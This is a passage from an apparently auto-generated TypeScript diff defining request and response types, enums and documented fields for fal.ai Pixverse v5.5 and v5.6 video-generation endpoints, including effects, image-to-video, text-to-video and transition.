'Parachute Delivery', + 'Dreamlike Cloud': 'Dreamlike Cloud', + 'Macaron Machine': 'Macaron Machine', + 'Poster AD': 'Poster AD', + 'Truck AD': 'Truck AD', + 'Graffiti AD': 'Graffiti AD', + '3D Figurine Factory': '3D Figurine Factory', + 'The Exclusive First Class': 'The Exclusive First Class', + 'Art Zoom Challenge': 'Art Zoom Challenge', + 'I Quit': 'I Quit', + 'Hitchcock Dolly Zoom': 'Hitchcock Dolly Zoom', + 'Smell the Lens': 'Smell the Lens', + 'I believe I can fly': 'I believe I can fly', + 'Strikout Dance': 'Strikout Dance', + 'Courtside Cam': 'Courtside Cam', + 'Pit Crew Moment': 'Pit Crew Moment', + 'K-Baseball Sprint': 'K-Baseball Sprint', + 'Toddler Doodle': 'Toddler Doodle', + 'Idol Ending': 'Idol Ending', + 'Apex Dance': 'Apex Dance', + 'OmniHero Forge': 'OmniHero Forge', + 'Palm Decode': 'Palm Decode', + 'The Age Ripple': 'The Age Ripple', + 'My Future Is Limitless': 'My Future Is Limitless', + 'Knee Slide': 'Knee Slide', + 'Epic Goal Save': 'Epic Goal Save', + 'Sideline Ball Boy': 'Sideline Ball Boy', + 'Cup Celebration': 'Cup Celebration', + 'Victory Roar': 'Victory Roar', + 'Vuvuzela Fan': 'Vuvuzela Fan', + 'World Champion Lift': 'World Champion Lift', + 'Tunnel to Captain': 'Tunnel to Captain', + 'Liquid Soccer Morph': 'Liquid Soccer Morph', + 'Jump Into Crowd 2': 'Jump Into Crowd 2', + 'Golden Pitch Crasher': 'Golden Pitch Crasher', + 'Stadium Fan Cam': 'Stadium Fan Cam', + 'Broadcast Moto GP': 'Broadcast Moto GP', + 'The Grotesque Clay': 'The Grotesque Clay', + 'Rookie Star Card': 'Rookie Star Card', + 'The Final Hug': 'The Final Hug', + 'Sharp Post-Match Comment': 'Sharp Post-Match Comment', + 'Street Maverick': 'Street Maverick', + 'Pitch Legend': 'Pitch Legend', + 'One Step At A Time': 'One Step At A Time', + 'Birthday Mirror': 'Birthday Mirror', + 'Superstar Lobby': 'Superstar Lobby', + 'Final Battle Room': 'Final Battle Room', + 'Top of the World': 'Top of the World', + 'Mini Me Unboxed': 'Mini Me Unboxed', + 'WonderPOP Surprise': 'WonderPOP Surprise', + 'White Chicks': 'White Chicks', + 'Kiss me': 'Kiss me', + 'What a Day': 'What a Day', + 'The Last Leap at Sunset': 'The Last Leap at Sunset', + 'Tiny Sticker Chef Chaos': 'Tiny Sticker Chef Chaos', + 'Mini Squeeze Toy': 'Mini Squeeze Toy', + 'Tearful Gunman': 'Tearful Gunman', + 'Street Fashion Caricature': 'Street Fashion Caricature', + 'Mini Me Makeover': 'Mini Me Makeover', + 'Street Art Awakening': 'Street Art Awakening', + 'Hug Together': 'Hug Together', + 'ACAI dance Duet': 'ACAI dance Duet', + 'PUBG Winner Hit!': 'PUBG Winner Hit!', + 'Blocky Mini-Me': 'Blocky Mini-Me', + 'Cheat Day Busted': 'Cheat Day Busted', + 'MiniSocial Recharge': 'MiniSocial Recharge', + 'My Little Perler Charm': 'My Little Perler Charm', + 'Where did this cobweb come from?': 'Where did this cobweb come from?', + 'Holy Beast Summoning Technique': 'Holy Beast Summoning Technique', + "IT'S THE FIRST OF THE MONTH": "IT'S THE FIRST OF THE MONTH", + 'Pet Editorial': 'Pet Editorial', + 'Three lifetime bond': 'Three lifetime bond', + 'Pixel World': 'Pixel World', + 'Mint in Box': 'Mint in Box', + 'Hands up, Hand': 'Hands up, Hand', + 'Flora Nymph Go': 'Flora Nymph Go', + 'Somber Embrace': 'Somber Embrace', + 'Beam me up': 'Beam me up', + 'Suit Swagger': 'Suit Swagger', +} as const + +export type InputFalAiPixverseV55EffectsEffectEnumKey = + (typeof inputFalAiPixverseV55EffectsEffectEnum)[keyof typeof inputFalAiPixverseV55EffectsEffectEnum] + +export const inputFalAiPixverseV55EffectsResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV55EffectsResolutionEnumKey = + (typeof inputFalAiPixverseV55EffectsResolutionEnum)[keyof typeof inputFalAiPixverseV55EffectsResolutionEnum] + +export const inputFalAiPixverseV55EffectsThinkingType = { + enabled: 'enabled', + disabled: 'disabled', + auto: 'auto', +} as const + +export type InputFalAiPixverseV55EffectsThinkingTypeKey = + (typeof inputFalAiPixverseV55EffectsThinkingType)[keyof typeof inputFalAiPixverseV55EffectsThinkingType] + +export type InputFalAiPixverseV55Effects = { + /** + * @description The duration of the generated video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseV55EffectsDurationEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Optional URL of the image to use as the first frame. If not provided, generates from text + * @example https://v3.fal.media/files/koala/q5ahL3KS7ikt3MvpNUG8l_image%20(72).webp + * @type string + */ + image_url: string + /** + * @description The effect to apply to the video + * @type string + */ + effect: InputFalAiPixverseV55EffectsEffectEnumKey + /** + * @description The resolution of the generated video. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV55EffectsResolutionEnumKey + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Prompt optimization mode: 'enabled' to optimize, 'disabled' to turn off, 'auto' for model decision + */ + thinking_type?: InputFalAiPixverseV55EffectsThinkingTypeKey | null +} + +export type FileF42Dfd66 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV55Effects = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":3232402,"url":"https://fal.media/files/koala/awGY1lJd7lVsqQeSqjWqn_output.mp4"} + * @type object + */ + video: FileF42Dfd66 +} + +export const inputFalAiPixverseV55ImageToVideoStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV55ImageToVideoStyleKey = + (typeof inputFalAiPixverseV55ImageToVideoStyle)[keyof typeof inputFalAiPixverseV55ImageToVideoStyle] + +export const inputFalAiPixverseV55ImageToVideoDurationEnum = { + '5': '5', + '8': '8', + '10': '10', +} as const + +export type InputFalAiPixverseV55ImageToVideoDurationEnumKey = + (typeof inputFalAiPixverseV55ImageToVideoDurationEnum)[keyof typeof inputFalAiPixverseV55ImageToVideoDurationEnum] + +export const inputFalAiPixverseV55ImageToVideoResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV55ImageToVideoResolutionEnumKey = + (typeof inputFalAiPixverseV55ImageToVideoResolutionEnum)[keyof typeof inputFalAiPixverseV55ImageToVideoResolutionEnum] + +export const inputFalAiPixverseV55ImageToVideoThinkingType = { + enabled: 'enabled', + disabled: 'disabled', + auto: 'auto', +} as const + +export type InputFalAiPixverseV55ImageToVideoThinkingTypeKey = + (typeof inputFalAiPixverseV55ImageToVideoThinkingType)[keyof typeof inputFalAiPixverseV55ImageToVideoThinkingType] + +export type InputFalAiPixverseV55ImageToVideo = { + /** + * @description Enable multi-clip generation with dynamic camera changes + * @default false + * @type boolean | undefined + */ + generate_multi_clip_switch?: boolean + /** + * @description URL of the image to use as the first frame + * @example https://v3.fal.media/files/zebra/qL93Je8ezvzQgDOEzTjKF_KhGKZTEebZcDw6T5rwQPK_output.png + * @type string + */ + image_url: string + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Enable audio generation (BGM, SFX, dialogue) + * @default false + * @type boolean | undefined + */ + generate_audio_switch?: boolean + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV55ImageToVideoStyleKey | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for the video generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example A woman warrior with her hammer walking with his glacier wolf. + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds. Longer durations cost more. 1080p videos are limited to 5 or 8 seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseV55ImageToVideoDurationEnumKey + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV55ImageToVideoResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null + /** + * @description Prompt optimization mode: 'enabled' to optimize, 'disabled' to turn off, 'auto' for model decision + */ + thinking_type?: InputFalAiPixverseV55ImageToVideoThinkingTypeKey | null +} + +export type FileD935E9Dd = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV55ImageToVideo = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":6420765,"url":"https://storage.googleapis.com/falserverless/model_tests/video_models/output-3.mp4"} + * @type object + */ + video: FileD935E9Dd +} + +export const inputFalAiPixverseV55TextToVideoAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputFalAiPixverseV55TextToVideoAspectRatioEnumKey = + (typeof inputFalAiPixverseV55TextToVideoAspectRatioEnum)[keyof typeof inputFalAiPixverseV55TextToVideoAspectRatioEnum] + +export const inputFalAiPixverseV55TextToVideoStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV55TextToVideoStyleKey = + (typeof inputFalAiPixverseV55TextToVideoStyle)[keyof typeof inputFalAiPixverseV55TextToVideoStyle] + +export const inputFalAiPixverseV55TextToVideoDurationEnum = { + '5': '5', + '8': '8', + '10': '10', +} as const + +export type InputFalAiPixverseV55TextToVideoDurationEnumKey = + (typeof inputFalAiPixverseV55TextToVideoDurationEnum)[keyof typeof inputFalAiPixverseV55TextToVideoDurationEnum] + +export const inputFalAiPixverseV55TextToVideoResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV55TextToVideoResolutionEnumKey = + (typeof inputFalAiPixverseV55TextToVideoResolutionEnum)[keyof typeof inputFalAiPixverseV55TextToVideoResolutionEnum] + +export const inputFalAiPixverseV55TextToVideoThinkingType = { + enabled: 'enabled', + disabled: 'disabled', + auto: 'auto', +} as const + +export type InputFalAiPixverseV55TextToVideoThinkingTypeKey = + (typeof inputFalAiPixverseV55TextToVideoThinkingType)[keyof typeof inputFalAiPixverseV55TextToVideoThinkingType] + +export type InputFalAiPixverseV55TextToVideo = { + /** + * @description Enable multi-clip generation with dynamic camera changes + * @default false + * @type boolean | undefined + */ + generate_multi_clip_switch?: boolean + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiPixverseV55TextToVideoAspectRatioEnumKey + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Enable audio generation (BGM, SFX, dialogue) + * @default false + * @type boolean | undefined + */ + generate_audio_switch?: boolean + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV55TextToVideoStyleKey | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for the video generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example Epic low-cut camera capture of a girl clad in ultraviolet threads, Peter Max art style depiction, luminous diamond skin glistening under a vast moon's radiance, embodied in a superhuman flight among mystical ruins, symbolizing a deity's ritual ascent, hyper-detailed + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds. Longer durations cost more. 1080p videos are limited to 5 or 8 seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseV55TextToVideoDurationEnumKey + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV55TextToVideoResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null + /** + * @description Prompt optimization mode: 'enabled' to optimize, 'disabled' to turn off, 'auto' for model decision + */ + thinking_type?: InputFalAiPixverseV55TextToVideoThinkingTypeKey | null +} + +export type File0D8Cb599 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV55TextToVideo = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":5485412,"url":"https://storage.googleapis.com/falserverless/model_tests/video_models/output-4.mp4"} + * @type object + */ + video: File0D8Cb599 +} + +export const inputFalAiPixverseV55TransitionAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputFalAiPixverseV55TransitionAspectRatioEnumKey = + (typeof inputFalAiPixverseV55TransitionAspectRatioEnum)[keyof typeof inputFalAiPixverseV55TransitionAspectRatioEnum] + +export const inputFalAiPixverseV55TransitionDurationEnum = { + '5': '5', + '8': '8', + '10': '10', +} as const + +export type InputFalAiPixverseV55TransitionDurationEnumKey = + (typeof inputFalAiPixverseV55TransitionDurationEnum)[keyof typeof inputFalAiPixverseV55TransitionDurationEnum] + +export const inputFalAiPixverseV55TransitionStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV55TransitionStyleKey = + (typeof inputFalAiPixverseV55TransitionStyle)[keyof typeof inputFalAiPixverseV55TransitionStyle] + +export const inputFalAiPixverseV55TransitionResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV55TransitionResolutionEnumKey = + (typeof inputFalAiPixverseV55TransitionResolutionEnum)[keyof typeof inputFalAiPixverseV55TransitionResolutionEnum] + +export const inputFalAiPixverseV55TransitionThinkingType = { + enabled: 'enabled', + disabled: 'disabled', + auto: 'auto', +} as const + +export type InputFalAiPixverseV55TransitionThinkingTypeKey = + (typeof inputFalAiPixverseV55TransitionThinkingType)[keyof typeof inputFalAiPixverseV55TransitionThinkingType] + +export type InputFalAiPixverseV55Transition = { + /** + * @description URL of the image to use as the last frame + * @example https://v3.fal.media/files/kangaroo/RgedFs_WSnq5BgER7qDx1_ONrbTJ1YAGXz-9JnSsBoB_bdc8750387734bfe940319f469f7b0b2.jpg + * @type string + */ + end_image_url: string + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiPixverseV55TransitionAspectRatioEnumKey + /** + * @description URL of the image to use as the first frame + * @example https://v3.fal.media/files/zebra/owQh2DAzk8UU7J02nr5RY_Co2P4boLv6meIZ5t9gKvL_8685da151df343ab8bf82165c928e2a5.jpg + * @type string + */ + first_image_url: string + /** + * @description Enable audio generation (BGM, SFX, dialogue) + * @default false + * @type boolean | undefined + */ + generate_audio_switch?: boolean + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt for the transition. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example Scene slowly transition into cat swimming under water + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds. Longer durations cost more. 1080p videos are limited to 5 or 8 seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseV55TransitionDurationEnumKey + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV55TransitionStyleKey | null + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV55TransitionResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null + /** + * @description Prompt optimization mode: 'enabled' to optimize, 'disabled' to turn off, 'auto' for model decision + */ + thinking_type?: InputFalAiPixverseV55TransitionThinkingTypeKey | null +} + +export type FileC23Ec3Bd = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV55Transition = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":3890360,"url":"https://storage.googleapis.com/falserverless/model_tests/video_models/output-2.mp4"} + * @type object + */ + video: FileC23Ec3Bd +} + +export const inputFalAiPixverseV56ImageToVideoStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV56ImageToVideoStyleKey = + (typeof inputFalAiPixverseV56ImageToVideoStyle)[keyof typeof inputFalAiPixverseV56ImageToVideoStyle] + +export const inputFalAiPixverseV56ImageToVideoDurationEnum = { + '5': '5', + '8': '8', + '10': '10', +} as const + +export type InputFalAiPixverseV56ImageToVideoDurationEnumKey = + (typeof inputFalAiPixverseV56ImageToVideoDurationEnum)[keyof typeof inputFalAiPixverseV56ImageToVideoDurationEnum] + +export const inputFalAiPixverseV56ImageToVideoResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV56ImageToVideoResolutionEnumKey = + (typeof inputFalAiPixverseV56ImageToVideoResolutionEnum)[keyof typeof inputFalAiPixverseV56ImageToVideoResolutionEnum] + +export const inputFalAiPixverseV56ImageToVideoThinkingType = { + enabled: 'enabled', + disabled: 'disabled', + auto: 'auto', +} as const + +export type InputFalAiPixverseV56ImageToVideoThinkingTypeKey = + (typeof inputFalAiPixverseV56ImageToVideoThinkingType)[keyof typeof inputFalAiPixverseV56ImageToVideoThinkingType] + +export type InputFalAiPixverseV56ImageToVideo = { + /** + * @description URL of the image to use as the first frame + * @example https://v3.fal.media/files/zebra/qL93Je8ezvzQgDOEzTjKF_KhGKZTEebZcDw6T5rwQPK_output.png + * @type string + */ + image_url: string + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Enable audio generation (BGM, SFX, dialogue) + * @default false + * @type boolean | undefined + */ + generate_audio_switch?: boolean + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV56ImageToVideoStyleKey | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for the video generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example A woman warrior with her hammer walking with his glacier wolf. + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds. 1080p videos are limited to 5 or 8 seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseV56ImageToVideoDurationEnumKey + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV56ImageToVideoResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null + /** + * @description Prompt optimization mode: 'enabled' to optimize, 'disabled' to turn off, 'auto' for model decision + */ + thinking_type?: InputFalAiPixverseV56ImageToVideoThinkingTypeKey | null +} + +export type File4091Caaa = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV56ImageToVideo = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":6420765,"url":"https://storage.googleapis.com/falserverless/model_tests/video_models/output-3.mp4"} + * @type object + */ + video: File4091Caaa +} + +export const inputFalAiPixverseV56TextToVideoAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputFalAiPixverseV56TextToVideoAspectRatioEnumKey = + (typeof inputFalAiPixverseV56TextToVideoAspectRatioEnum)[keyof typeof inputFalAiPixverseV56TextToVideoAspectRatioEnum] + +export const inputFalAiPixverseV56TextToVideoStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV56TextToVideoStyleKey = + (typeof inputFalAiPixverseV56TextToVideoStyle)[keyof typeof inputFalAiPixverseV56TextToVideoStyle] + +export const inputFalAiPixverseV56TextToVideoDurationEnum = { + '5': '5', + '8': '8', + '10': '10', +} as const + +export type InputFalAiPixverseV56TextToVideoDurationEnumKey = + (typeof inputFalAiPixverseV56TextToVideoDurationEnum)[keyof typeof inputFalAiPixverseV56TextToVideoDurationEnum] + +export const inputFalAiPixverseV56TextToVideoResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV56TextToVideoResolutionEnumKey = + (typeof inputFalAiPixverseV56TextToVideoResolutionEnum)[keyof typeof inputFalAiPixverseV56TextToVideoResolutionEnum] + +export const inputFalAiPixverseV56TextToVideoThinkingType = { + enabled: 'enabled', + disabled: 'disabled', + auto: 'auto', +} as const + +export type InputFalAiPixverseV56TextToVideoThinkingTypeKey = + (typeof inputFalAiPixverseV56TextToVideoThinkingType)[keyof typeof inputFalAiPixverseV56TextToVideoThinkingType] + +export type InputFalAiPixverseV56TextToVideo = { + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiPixverseV56TextToVideoAspectRatioEnumKey + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Enable audio generation (BGM, SFX, dialogue) + * @default false + * @type boolean | undefined + */ + generate_audio_switch?: boolean + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV56TextToVideoStyleKey | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for the video generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example Epic low-cut camera capture of a girl clad in ultraviolet threads, Peter Max art style depiction, luminous diamond skin glistening under a vast moon's radiance, embodied in a superhuman flight among mystical ruins, symbolizing a deity's ritual ascent, hyper-detailed + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds. 1080p videos are limited to 5 or 8 seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseV56TextToVideoDurationEnumKey + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV56TextToVideoResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null + /** + * @description Prompt optimization mode: 'enabled' to optimize, 'disabled' to turn off, 'auto' for model decision + */ + thinking_type?: InputFalAiPixverseV56TextToVideoThinkingTypeKey | null +} + +export type FileEdb56158 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV56TextToVideo = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":5485412,"url":"https://storage.googleapis.com/falserverless/model_tests/video_models/output-4.mp4"} + * @type object + */ + video: FileEdb56158 +} + +export const inputFalAiPixverseV56TransitionAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputFalAiPixverseV56TransitionAspectRatioEnumKey = + (typeof inputFalAiPixverseV56TransitionAspectRatioEnum)[keyof typeof inputFalAiPixverseV56TransitionAspectRatioEnum] + +export const inputFalAiPixverseV56TransitionDurationEnum = { + '5': '5', + '8': '8', + '10': '10', +} as const + +export type InputFalAiPixverseV56TransitionDurationEnumKey = + (typeof inputFalAiPixverseV56TransitionDurationEnum)[keyof typeof inputFalAiPixverseV56TransitionDurationEnum] + +export const inputFalAiPixverseV56TransitionStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV56TransitionStyleKey = + (typeof inputFalAiPixverseV56TransitionStyle)[keyof typeof inputFalAiPixverseV56TransitionStyle] + +export const inputFalAiPixverseV56TransitionResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV56TransitionResolutionEnumKey = + (typeof inputFalAiPixverseV56TransitionResolutionEnum)[keyof typeof inputFalAiPixverseV56TransitionResolutionEnum] + +export const inputFalAiPixverseV56TransitionThinkingType = { + enabled: 'enabled', + disabled: 'disabled', + auto: 'auto', +} as const + +export type InputFalAiPixverseV56TransitionThinkingTypeKey = + (typeof inputFalAiPixverseV56TransitionThinkingType)[keyof typeof inputFalAiPixverseV56TransitionThinkingType] + +export type InputFalAiPixverseV56Transition = { + /** + * @description URL of the image to use as the last frame + * @example https://v3.fal.media/files/kangaroo/RgedFs_WSnq5BgER7qDx1_ONrbTJ1YAGXz-9JnSsBoB_bdc8750387734bfe940319f469f7b0b2.jpg + * @type string + */ + end_image_url: string + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiPixverseV56TransitionAspectRatioEnumKey + /** + * @description URL of the image to use as the first frame + * @example https://v3.fal.media/files/zebra/owQh2DAzk8UU7J02nr5RY_Co2P4boLv6meIZ5t9gKvL_8685da151df343ab8bf82165c928e2a5.jpg + * @type string + */ + first_image_url: string + /** + * @description Enable audio generation (BGM, SFX, dialogue) + * @default false + * @type boolean | undefined + */ + generate_audio_switch?: boolean + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | 